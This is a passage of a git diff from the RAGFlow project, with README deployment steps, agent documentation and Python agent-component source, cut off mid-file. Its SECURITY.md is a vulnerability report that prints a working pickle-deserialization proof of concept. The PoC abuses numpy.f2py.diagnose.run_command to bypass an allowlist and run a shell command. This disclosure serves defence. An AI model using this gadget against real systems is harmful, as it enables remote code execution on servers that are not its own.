-$ docker build -t infiniflow/ragflow:v0.5.0 .
+$ docker build -t infiniflow/ragflow:v0.9.0 .
 $ cd ragflow/docker
 $ chmod +x ./entrypoint.sh
 $ docker compose up -d
@@ -247,10 +267,34 @@ $ docker compose -f docker-compose-base.yml up -d
 $ chmod +x ./entrypoint.sh
 $ bash ./entrypoint.sh
 ```
+7. 启动WebUI服务
+```bash
+$ cd web
+$ npm install --registry=https://registry.npmmirror.com --force
+$ vim .umirc.ts
+# 修改proxy.target为http://127.0.0.1:9380
+$ npm run dev 
+```
 
+8. 部署WebUI服务
+```bash
+$ cd web
+$ npm install --registry=https://registry.npmmirror.com --force
+$ umi build
+$ mkdir -p /ragflow/web
+$ cp -r dist /ragflow/web
+$ apt install nginx -y
+$ cp ../docker/nginx/proxy.conf /etc/nginx
+$ cp ../docker/nginx/nginx.conf /etc/nginx
+$ cp ../docker/nginx/ragflow.conf /etc/nginx/conf.d
+$ systemctl start nginx
+```
 ## 📚 技术文档
 
-- [FAQ](./docs/faq.md)
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [User guide](https://ragflow.io/docs/dev/category/user-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
 
 ## 📜 路线图
 
@@ -260,10 +304,15 @@ $ bash ./entrypoint.sh
 
 - [Discord](https://discord.gg/4XxujFgUN7)
 - [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
 
 ## 🙌 贡献指南
 
-RAGFlow 只有通过开源协作才能蓬勃发展。秉持这一精神,我们欢迎来自社区的各种贡献。如果您有意参与其中,请查阅我们的[贡献者指南](https://github.com/infiniflow/ragflow/blob/main/docs/CONTRIBUTING.md) 。
+RAGFlow 只有通过开源协作才能蓬勃发展。秉持这一精神,我们欢迎来自社区的各种贡献。如果您有意参与其中,请查阅我们的[贡献者指南](./docs/references/CONTRIBUTING.md) 。
+
+## 🤝 商务合作
+
+- [预约咨询](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh)
 
 ## 👥 加入社区
 

SECURITY.md

@@ -0,0 +1,74 @@
+# Security Policy
+
+## Supported Versions
+
+Use this section to tell people about which versions of your project are
+currently being supported with security updates.
+
+| Version | Supported          |
+| ------- | ------------------ |
+| <=0.7.0   | :white_check_mark: |
+
+## Reporting a Vulnerability
+
+### Branch name
+
+main
+
+### Actual behavior
+
+The restricted_loads function at [api/utils/__init__.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution.
+The main reson is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy.
+
+
+### Steps to reproduce
+
+
+**ragflow_patch.py**
+
+```py
+import builtins
+import io
+import pickle
+
+safe_module = {
+    'numpy',
+    'rag_flow'
+}
+
+
+class RestrictedUnpickler(pickle.Unpickler):
+    def find_class(self, module, name):
+        import importlib
+        if module.split('.')[0] in safe_module:
+            _module = importlib.import_module(module)
+            return getattr(_module, name)
+        # Forbid everything else.
+        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
+                                     (module, name))
+
+
+def restricted_loads(src):
+    """Helper function analogous to pickle.loads()."""
+    return RestrictedUnpickler(io.BytesIO(src)).load()
+```
+Then, **PoC.py**
+```py
+import pickle
+from ragflow_patch import restricted_loads
+class Exploit:
+     def __reduce__(self):
+         import numpy.f2py.diagnose
+         return numpy.f2py.diagnose.run_command, ('whoami', )
+
+Payload=pickle.dumps(Exploit())
+restricted_loads(Payload)
+```
+**Result**
+![image](https://github.com/infiniflow/ragflow/assets/85293841/8e5ed255-2e84-466c-bce4-776f7e4401e8)
+
+
+### Additional information
+
+#### How to prevent?
+Strictly filter the module and name before calling with getattr function.

agent/README.md

@@ -0,0 +1,45 @@
+English | [简体中文](./README_zh.md)
+
+# *Graph*
+
+
+## Introduction
+
+*Graph* is a mathematical concept which is composed of nodes and edges. 
+It is used to compose a complex work flow or agent. 
+And this graph is beyond the DAG that we can use circles to describe our agent or work flow.
+Under this folder, we propose a test tool ./test/client.py which can test the DSLs such as json files in folder ./test/dsl_examples.
+Please use this client at the same folder you start RAGFlow. If it's run by Docker, please go into the container before running the client.
+Otherwise, correct configurations in conf/service_conf.yaml is essential.
+
+```bash
+PYTHONPATH=path/to/ragflow python graph/test/client.py -h
+usage: client.py [-h] -s DSL -t TENANT_ID -m
+
+options:
+  -h, --help            show this help message and exit
+  -s DSL, --dsl DSL     input dsl
+  -t TENANT_ID, --tenant_id TENANT_ID
+                        Tenant ID
+  -m, --stream          Stream output
+```
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/79179c5e-d4d6-464a-b6c4-5721cb329899" width="1000"/>
+</div>
+
+
+## How to gain a TENANT_ID in command line?
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/419d8588-87b1-4ab8-ac49-2d1f047a4b97" width="600"/>
+</div>
+💡 We plan to display it here in the near future.
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/c97915de-0091-46a5-afd9-e278946e5fe3" width="600"/>
+</div>
+
+
+## How to set 'kb_ids' for component 'Retrieval' in DSL?
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/0a731534-cac8-49fd-8a92-ca247eeef66d" width="600"/>
+</div>
+

agent/README_zh.md

@@ -0,0 +1,46 @@
+[English](./README.md) | 简体中文
+
+# *Graph*
+
+
+## 简介
+
+"Graph"是一个由节点和边组成的数学概念。
+它被用来构建复杂的工作流或代理。
+这个图超越了有向无环图（DAG），我们可以使用循环来描述我们的代理或工作流。
+在这个文件夹下，我们提出了一个测试工具 ./test/client.py，
+它可以测试像文件夹./test/dsl_examples下一样的DSL文件。
+请在启动 RAGFlow 的同一文件夹中使用此客户端。如果它是通过 Docker 运行的，请在运行客户端之前进入容器。
+否则，正确配置 conf/service_conf.yaml 文件是必不可少的。
+
+```bash
+PYTHONPATH=path/to/ragflow python graph/test/client.py -h
+usage: client.py [-h] -s DSL -t TENANT_ID -m
+
+options:
+  -h, --help            show this help message and exit
+  -s DSL, --dsl DSL     input dsl
+  -t TENANT_ID, --tenant_id TENANT_ID
+                        Tenant ID
+  -m, --stream          Stream output
+```
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/05924730-c427-495b-8ee4-90b8b2250681" width="1000"/>
+</div>
+
+
+## 命令行中的TENANT_ID如何获得?
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/419d8588-87b1-4ab8-ac49-2d1f047a4b97" width="600"/>
+</div>
+💡 后面会展示在这里：
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/c97915de-0091-46a5-afd9-e278946e5fe3" width="600"/>
+</div>
+
+
+## DSL里面的Retrieval组件的kb_ids怎么填?
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/0a731534-cac8-49fd-8a92-ca247eeef66d" width="600"/>
+</div>
+

agent/canvas.py

@@ -0,0 +1,302 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import importlib
+import json
+import traceback
+from abc import ABC
+from copy import deepcopy
+from functools import partial
+
+import pandas as pd
+
+from agent.component import component_class
+from agent.component.base import ComponentBase
+from agent.settings import flow_logger, DEBUG
+
+
+class Canvas(ABC):
+    """
+    dsl = {
+        "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {},
+                },
+                "downstream": ["answer_0"],
+                "upstream": [],
+            },
+            "answer_0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval_0"],
+                "upstream": ["begin", "generate_0"],
+            },
+            "retrieval_0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {}
+                },
+                "downstream": ["generate_0"],
+                "upstream": ["answer_0"],
+            },
+            "generate_0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {}
+                },
+                "downstream": ["answer_0"],
+                "upstream": ["retrieval_0"],
+            }
+        },
+        "history": [],
+        "messages": [],
+        "reference": [],
+        "path": [["begin"]],
+        "answer": []
+    }
+    """
+
+    def __init__(self, dsl: str, tenant_id=None):
+        self.path = []
+        self.history = []
+        self.messages = []
+        self.answer = []
+        self.components = {}
+        self.dsl = json.loads(dsl) if dsl else {
+            "components": {
+                "begin": {
+                    "obj": {
+                        "component_name": "Begin",
+                        "params": {
+                            "prologue": "Hi there!"
+                        }
+                    },
+                    "downstream": [],
+                    "upstream": []
+                }
+            },
+            "history": [],
+            "messages": [],
+            "reference": [],
+            "path": [],
+            "answer": []
+        }
+        self._tenant_id = tenant_id
+        self._embed_id = ""
+        self.load()
+
+    def load(self):
+        self.components = self.dsl["components"]
+        cpn_nms = set([])
+        for k, cpn in self.components.items():
+            cpn_nms.add(cpn["obj"]["component_name"])
+
+        assert "Begin" in cpn_nms, "There have to be an 'Begin' component."
+        assert "Answer" in cpn_nms, "There have to be an 'Answer' component."
+
+        for k, cpn in self.components.items():
+            cpn_nms.add(cpn["obj"]["component_name"])
+            param = component_class(cpn["obj"]["component_name"] + "Param")()
+            param.update(cpn["obj"]["params"])
+            param.check()
+            cpn["obj"] = component_class(cpn["obj"]["component_name"])(self, k, param)
+            if cpn["obj"].component_name == "Categorize":
+                for _, desc in param.category_description.items():
+                    if desc["to"] not in cpn["downstream"]:
+                        cpn["downstream"].append(desc["to"])
+
+        self.path = self.dsl["path"]
+        self.history = self.dsl["history"]
+        self.messages = self.dsl["messages"]
+        self.answer = self.dsl["answer"]
+        self.reference = self.dsl["reference"]
+        self._embed_id = self.dsl.get("embed_id", "")
+
+    def __str__(self):
+        self.dsl["path"] = self.path
+        self.dsl["history"] = self.history
+        self.dsl["messages"] = self.messages
+        self.dsl["answer"] = self.answer
+        self.dsl["reference"] = self.reference
+        self.dsl["embed_id"] = self._embed_id
+        dsl = {
+            "components": {}
+        }
+        for k in self.dsl.keys():
+            if k in ["components"]:continue
+            dsl[k] = deepcopy(self.dsl[k])
+
+        for k, cpn in self.components.items():
+            if k not in dsl["components"]:
+                dsl["components"][k] = {}
+            for c in cpn.keys():
+                if c == "obj":
+                    dsl["components"][k][c] = json.loads(str(cpn["obj"]))
+                    continue
+                dsl["components"][k][c] = deepcopy(cpn[c])
+        return json.dumps(dsl, ensure_ascii=False)
+
+    def reset(self):
+        self.path = []
+        self.history = []
+        self.messages = []
+        self.answer = []
+        self.reference = []
+        for k, cpn in self.components.items():
+            self.components[k]["obj"].reset()
+        self._embed_id = ""
+
+    def run(self, **kwargs):
+        ans = ""
+        if self.answer:
+            cpn_id = self.answer[0]
+            self.answer.pop(0)
+            try:
+                ans = self.components[cpn_id]["obj"].run(self.history, **kwargs)
+            except Exception as e:
+                ans = ComponentBase.be_output(str(e))
+            self.path[-1].append(cpn_id)
+            if kwargs.get("stream"):
+                assert isinstance(ans, partial)
+                return ans
+            self.history.append(("assistant", ans.to_dict("records")))
+            return ans
+
+        if not self.path:
+            self.components["begin"]["obj"].run(self.history, **kwargs)
+            self.path.append(["begin"])
+
+        self.path.append([])
+        ran = -1
+
+        def prepare2run(cpns):
+            nonlocal ran, ans
+            for c in cpns:
+                if self.path[-1] and c == self.path[-1][-1]: continue
+                cpn = self.components[c]["obj"]
+                if cpn.component_name == "Answer":
+                    self.answer.append(c)
+                else:
+                    if DEBUG: print("RUN: ", c)
+                    if cpn.component_name == "Generate":
+                        cpids = cpn.get_dependent_components()
+                        if any([c not in self.path[-1] for c in cpids]):
+                            continue
+                    ans = cpn.run(self.history, **kwargs)
+                    self.path[-1].append(c)
+            ran += 1
+
+        prepare2run(self.components[self.path[-2][-1]]["downstream"])
+        while 0 <= ran < len(self.path[-1]):
+            if DEBUG: print(ran, self.path)
+            cpn_id = self.path[-1][ran]
+            cpn = self.get_component(cpn_id)
+            if not cpn["downstream"]: break
+
+            loop = self._find_loop()
+            if loop: raise OverflowError(f"Too much loops: {loop}")
+
+            if cpn["obj"].component_name.lower() in ["switch", "categorize", "relevant"]:
+                switch_out = cpn["obj"].output()[1].iloc[0, 0]
+                assert switch_out in self.components, \
+                    "{}'s output: {} not valid.".format(cpn_id, switch_out)
+                try:
+                    prepare2run([switch_out])
+                except Exception as e:
+                    for p in [c for p in self.path for c in p][::-1]:
+                        if p.lower().find("answer") >= 0:
+                            self.get_component(p)["obj"].set_exception(e)
+                            prepare2run([p])
+                            break
+                    traceback.print_exc()
+                    break
+                continue
+
+            try:
+                prepare2run(cpn["downstream"])
+            except Exception as e:
+                for p in [c for p in self.path for c in p][::-1]:
+                    if p.lower().find("answer") >= 0:
+                        self.get_component(p)["obj"].set_exception(e)
+                        prepare2run([p])
+                        break
+                traceback.print_exc()
+                break
+
+        if self.answer:
+            cpn_id = self.answer[0]
+            self.answer.pop(0)
+            ans = self.components[cpn_id]["obj"].run(self.history, **kwargs)
+            self.path[-1].append(cpn_id)
+            if kwargs.get("stream"):
+                assert isinstance(ans, partial)
+                return ans
+
+            self.history.append(("assistant", ans.to_dict("records")))
+
+        return ans
+
+    def get_component(self, cpn_id):
+        return self.components[cpn_id]
+
+    def get_tenant_id(self):
+        return self._tenant_id
+
+    def get_history(self, window_size):
+        convs = []
+        for role, obj in self.history[window_size * -2:]:
+            convs.append({"role": role, "content": (obj if role == "user" else
+                                                    '\n'.join(pd.DataFrame(obj)['content']))})
+        return convs
+
+    def add_user_input(self, question):
+        self.history.append(("user", question))
+
+    def set_embedding_model(self, embed_id):
+        self._embed_id = embed_id
+
+    def get_embedding_model(self):
+        return self._embed_id
+
+    def _find_loop(self, max_loops=2):
+        path = self.path[-1][::-1]
+        if len(path) < 2: return False
+
+        for i in range(len(path)):
+            if path[i].lower().find("answer") >= 0:
+                path = path[:i]
+                break
+
+        if len(path) < 2: return False
+
+        for l in range(2, len(path) // 2):
+            pat = ",".join(path[0:l])
+            path_str = ",".join(path)
+            if len(pat) >= len(path_str): return False
+            loop = max_loops
+            while path_str.find(pat) == 0 and loop >= 0:
+                loop -= 1
+                if len(pat)+1 >= len(path_str):
+                    return False
+                path_str = path_str[len(pat)+1:]
+            if loop < 0:
+                pat = " => ".join([p.split(":")[0] for p in path[0:l]])
+                return pat + " => " + pat
+
+        return False

agent/component/__init__.py

@@ -0,0 +1,25 @@
+import importlib
+from .begin import Begin, BeginParam
+from .generate import Generate, GenerateParam
+from .retrieval import Retrieval, RetrievalParam
+from .answer import Answer, AnswerParam
+from .categorize import Categorize, CategorizeParam
+from .switch import Switch, SwitchParam
+from .relevant import Relevant, RelevantParam
+from .message import Message, MessageParam
+from .rewrite import RewriteQuestion, RewriteQuestionParam
+from .keyword import KeywordExtract, KeywordExtractParam
+from .baidu import Baidu, BaiduParam
+from .duckduckgo import DuckDuckGo, DuckDuckGoParam
+from .wikipedia import Wikipedia, WikipediaParam
+from .pubmed import PubMed, PubMedParam
+from .arxiv import ArXiv, ArXivParam
+from .google import Google, GoogleParam
+from .bing import Bing, BingParam
+from .googlescholar import GoogleScholar, GoogleScholarParam
+
+
+def component_class(class_name):
+    m = importlib.import_module("graph.component")
+    c = getattr(m, class_name)
+    return c

agent/component/answer.py

@@ -0,0 +1,79 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import random
+from abc import ABC
+from functools import partial
+
+import pandas as pd
+
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class AnswerParam(ComponentParamBase):
+
+    """
+    Define the Answer component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.post_answers = []
+
+    def check(self):
+        return True
+
+
+class Answer(ComponentBase, ABC):
+    component_name = "Answer"
+
+    def _run(self, history, **kwargs):
+        if kwargs.get("stream"):
+            return partial(self.stream_output)
+
+        ans = self.get_input()
+        if self._param.post_answers:
+            ans = pd.concat([ans, pd.DataFrame([{"content": random.choice(self._param.post_answers)}])], ignore_index=False)
+        return ans
+
+    def stream_output(self):
+        res = None
+        if hasattr(self, "exception") and self.exception:
+            res = {"content": str(self.exception)}
+            self.exception = None
+            yield res
+            self.set_output(res)
+            return
+
+        stream = self.get_stream_input()
+        if isinstance(stream, pd.DataFrame):
+            res = stream
+            answer = ""
+            for ii, row in stream.iterrows():
+                answer += row.to_dict()["content"]
+                yield {"content": answer}
+        else:
+            for st in stream():
+                res = st
+                yield st
+        if self._param.post_answers:
+            res["content"] += random.choice(self._param.post_answers)
+            yield res
+
+        self.set_output(res)
+
+    def set_exception(self, e):
+        self.exception = e
+
+

agent/component/arxiv.py

@@ -0,0 +1,69 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import arxiv
+import pandas as pd
+from agent.settings import DEBUG
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class ArXivParam(ComponentParamBase):
+    """
+    Define the ArXiv component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 6
+        self.sort_by = 'submittedDate'
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.sort_by, "ArXiv Search Sort_by",
+                               ['submittedDate', 'lastUpdatedDate', 'relevance'])
+
+
+class ArXiv(ComponentBase, ABC):
+    component_name = "ArXiv"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return ArXiv.be_output("")
+
+        try:
+            sort_choices = {"relevance": arxiv.SortCriterion.Relevance,
+                            "lastUpdatedDate": arxiv.SortCriterion.LastUpdatedDate,
+                            'submittedDate': arxiv.SortCriterion.SubmittedDate}
+            arxiv_client = arxiv.Client()
+            search = arxiv.Search(
+                query=ans,
+                max_results=self._param.top_n,
+                sort_by=sort_choices[self._param.sort_by]
+            )
+            arxiv_res = [
+                {"content": 'Title: ' + i.title + '\nPdf_Url: <a href="' + i.pdf_url + '"></a> \nSummary: ' + i.summary} for
+                i in list(arxiv_client.results(search))]
+        except Exception as e:
+            return ArXiv.be_output("**ERROR**: " + str(e))
+
+        if not arxiv_res:
+            return ArXiv.be_output("")
+
+        df = pd.DataFrame(arxiv_res)
+        if DEBUG: print(df, ":::::::::::::::::::::::::::::::::")
+        return df

agent/component/baidu.py

@@ -0,0 +1,69 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import random
+from abc import ABC
+from functools import partial
+import pandas as pd
+import requests
+import re
+from agent.settings import DEBUG
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class BaiduParam(ComponentParamBase):
+    """
+    Define the Baidu component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+
+
+class Baidu(ComponentBase, ABC):
+    component_name = "Baidu"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Baidu.be_output("")
+
+        try:
+            url = 'https://www.baidu.com/s?wd=' + ans + '&rn=' + str(self._param.top_n)
+            headers = {
+                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36'}
+            response = requests.get(url=url, headers=headers)
+
+            url_res = re.findall(r"'url': \\\"(.*?)\\\"}", response.text)
+            title_res = re.findall(r"'title': \\\"(.*?)\\\",\\n", response.text)
+            body_res = re.findall(r"\"contentText\":\"(.*?)\"", response.text)
+            baidu_res = [{"content": re.sub('<em>|</em>', '', '<a href="' + url + '">' + title + '</a>    ' + body)} for
+                         url, title, body in zip(url_res, title_res, body_res)]
+            del body_res, url_res, title_res
+        except Exception as e:
+            return Baidu.be_output("**ERROR**: " + str(e))
+
+        if not baidu_res:
+            return Baidu.be_output("")
+
+        df = pd.DataFrame(baidu_res)
+        if DEBUG: print(df, ":::::::::::::::::::::::::::::::::")
+        return df
+

agent/component/base.py

@@ -0,0 +1,494 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import builtins
+import json
+import os
+from copy import deepcopy
+from functools import partial
+from typing import List, Dict, Tuple, Union
+
+import pandas as pd
+
+from agent import settings
+from agent.settings import flow_logger, DEBUG
+
+_FEEDED_DEPRECATED_PARAMS = "_feeded_deprecated_params"
+_DEPRECATED_PARAMS = "_deprecated_params"
+_USER_FEEDED_PARAMS = "_user_feeded_params"
+_IS_RAW_CONF = "_is_raw_conf"
+
+
+class ComponentParamBase(ABC):
+    def __init__(self):
+        self.output_var_name = "output"
+        self.message_history_window_size = 22
+
+    def set_name(self, name: str):
+        self._name = name
+        return self
+
+    def check(self):
+        raise NotImplementedError("Parameter Object should be checked.")
+
+    @classmethod
+    def _get_or_init_deprecated_params_set(cls):
+        if not hasattr(cls, _DEPRECATED_PARAMS):
+            setattr(cls, _DEPRECATED_PARAMS, set())
+        return getattr(cls, _DEPRECATED_PARAMS)
+
+    def _get_or_init_feeded_deprecated_params_set(self, conf=None):
+        if not hasattr(self, _FEEDED_DEPRECATED_PARAMS):
+            if conf is None:
+                setattr(self, _FEEDED_DEPRECATED_PARAMS, set())
+            else:
+                setattr(
+                    self,
+                    _FEEDED_DEPRECATED_PARAMS,
+                    set(conf[_FEEDED_DEPRECATED_PARAMS]),
+                )
+        return getattr(self, _FEEDED_DEPRECATED_PARAMS)
+
+    def _get_or_init_user_feeded_params_set(self, conf=None):
+        if not hasattr(self, _USER_FEEDED_PARAMS):
+            if conf is None:
+                setattr(self, _USER_FEEDED_PARAMS, set())
+            else:
+                setattr(self, _USER_FEEDED_PARAMS, set(conf[_USER_FEEDED_PARAMS]))
+        return getattr(self, _USER_FEEDED_PARAMS)
+
+    def get_user_feeded(self):
+        return self._get_or_init_user_feeded_params_set()
+
+    def get_feeded_deprecated_params(self):
+        return self._get_or_init_feeded_deprecated_params_set()
+
+    @property
+    def _deprecated_params_set(self):
+        return {name: True for name in self.get_feeded_deprecated_params()}
+
+    def __str__(self):
+
+        return json.dumps(self.as_dict(), ensure_ascii=False)
+
+    def as_dict(self):
+        def _recursive_convert_obj_to_dict(obj):
+            ret_dict = {}
+            for attr_name in list(obj.__dict__):
+                if attr_name in [_FEEDED_DEPRECATED_PARAMS, _DEPRECATED_PARAMS, _USER_FEEDED_PARAMS, _IS_RAW_CONF]:
+                    continue
+                # get attr
+                attr = getattr(obj, attr_name)
+                if isinstance(attr, pd.DataFrame):
+                    ret_dict[attr_name] = attr.to_dict()
+                    continue
+                if attr and type(attr).__name__ not in dir(builtins):
+                    ret_dict[attr_name] = _recursive_convert_obj_to_dict(attr)
+                else:
+                    ret_dict[attr_name] = attr
+
+            return ret_dict
+
+        return _recursive_convert_obj_to_dict(self)
+
+    def update(self, conf, allow_redundant=False):
+        update_from_raw_conf = conf.get(_IS_RAW_CONF, True)
+        if update_from_raw_conf:
+            deprecated_params_set = self._get_or_init_deprecated_params_set()
+            feeded_deprecated_params_set = (
+                self._get_or_init_feeded_deprecated_params_set()
+            )
+            user_feeded_params_set = self._get_or_init_user_feeded_params_set()
+            setattr(self, _IS_RAW_CONF, False)
+        else:
+            feeded_deprecated_params_set = (
+                self._get_or_init_feeded_deprecated_params_set(conf)
+            )
+            user_feeded_params_set = self._get_or_init_user_feeded_params_set(conf)
+
+        def _recursive_update_param(param, config, depth, prefix):
+            if depth > settings.PARAM_MAXDEPTH:
+                raise ValueError("Param define nesting too deep!!!, can not parse it")
+
+            inst_variables = param.__dict__
+            redundant_attrs = []
+            for config_key, config_value in config.items():
+                # redundant attr
+                if config_key not in inst_variables:
+                    if not update_from_raw_conf and config_key.startswith("_"):
+                        setattr(param, config_key, config_value)
+                    else:
+                        setattr(param, config_key, config_value)
+                        # redundant_attrs.append(config_key)
+                    continue
+
+                full_config_key = f"{prefix}{config_key}"
+
+                if update_from_raw_conf:
+                    # add user feeded params
+                    user_feeded_params_set.add(full_config_key)
+
+                    # update user feeded deprecated param set
+                    if full_config_key in deprecated_params_set:
+                        feeded_deprecated_params_set.add(full_config_key)
+
+                # supported attr
+                attr = getattr(param, config_key)
+                if type(attr).__name__ in dir(builtins) or attr is None:
+                    setattr(param, config_key, config_value)
+
+                else:
+                    # recursive set obj attr
+                    sub_params = _recursive_update_param(
+                        attr, config_value, depth + 1, prefix=f"{prefix}{config_key}."
+                    )
+                    setattr(param, config_key, sub_params)
+
+            if not allow_redundant and redundant_attrs:
+                raise ValueError(
+                    f"cpn `{getattr(self, '_name', type(self))}` has redundant parameters: `{[redundant_attrs]}`"
+                )
+
+            return param
+
+        return _recursive_update_param(param=self, config=conf, depth=0, prefix="")
+
+    def extract_not_builtin(self):
+        def _get_not_builtin_types(obj):
+            ret_dict = {}
+            for variable in obj.__dict__:
+                attr = getattr(obj, variable)
+                if attr and type(attr).__name__ not in dir(builtins):
+                    ret_dict[variable] = _get_not_builtin_types(attr)
+
+            return ret_dict
+
+        return _get_not_builtin_types(self)
+
+    def validate(self):
+        self.builtin_types = dir(builtins)
+        self.func = {
+            "ge": self._greater_equal_than,
+            "le": self._less_equal_than,
+            "in": self._in,
+            "not_in": self._not_in,
+            "range": self._range,
+        }
+        home_dir = os.path.abspath(os.path.dirname(os.path.realpath(__file__)))
+        param_validation_path_prefix = home_dir + "/param_validation/"
+
+        param_name = type(self).__name__
+        param_validation_path = "/".join(
+            [param_validation_path_prefix, param_name + ".json"]
+        )
+
+        validation_json = None
+
+        try:
+            with open(param_validation_path, "r") as fin:
+                validation_json = json.loads(fin.read())
+        except BaseException:
+            return
+
+        self._validate_param(self, validation_json)
+
+    def _validate_param(self, param_obj, validation_json):
+        default_section = type(param_obj).__name__
+        var_list = param_obj.__dict__
+
+        for variable in var_list:
+            attr = getattr(param_obj, variable)
+
+            if type(attr).__name__ in self.builtin_types or attr is None:
+                if variable not in validation_json:
+                    continue
+
+                validation_dict = validation_json[default_section][variable]
+                value = getattr(param_obj, variable)
+                value_legal = False
+
+                for op_type in validation_dict:
+                    if self.func[op_type](value, validation_dict[op_type]):
+                        value_legal = True
+                        break
+
+                if not value_legal:
+                    raise ValueError(
+                        "Plase check runtime conf, {} = {} does not match user-parameter restriction".format(
+                            variable, value
+                        )
+                    )
+
+            elif variable in validation_json:
+                self._validate_param(attr, validation_json)
+
+    @staticmethod
+    def check_string(param, descr):
+        if type(param).__name__ not in ["str"]:
+            raise ValueError(
+                descr + " {} not supported, should be string type".format(param)
+            )
+
+    @staticmethod
+    def check_empty(param, descr):
+        if not param:
+            raise ValueError(
+                descr + " does not support empty value."
+            )
+
+    @staticmethod
+    def check_positive_integer(param, descr):
+        if type(param).__name__ not in ["int", "long"] or param <= 0:
+            raise ValueError(
+                descr + " {} not supported, should be positive integer".format(param)
+            )
+
+    @staticmethod
+    def check_positive_number(param, descr):
+        if type(param).__name__ not in ["float", "int", "long"] or param <= 0:
+            raise ValueError(
+                descr + " {} not supported, should be positive numeric".format(param)
+            )
+
+    @staticmethod
+    def check_nonnegative_number(param, descr):
+        if type(param).__name__ not in ["float", "int", "long"] or param < 0:
+            raise ValueError(
+                descr
+                + " {} not supported, should be non-negative numeric".format(param)
+            )
+
+    @staticmethod
+    def check_decimal_float(param, descr):
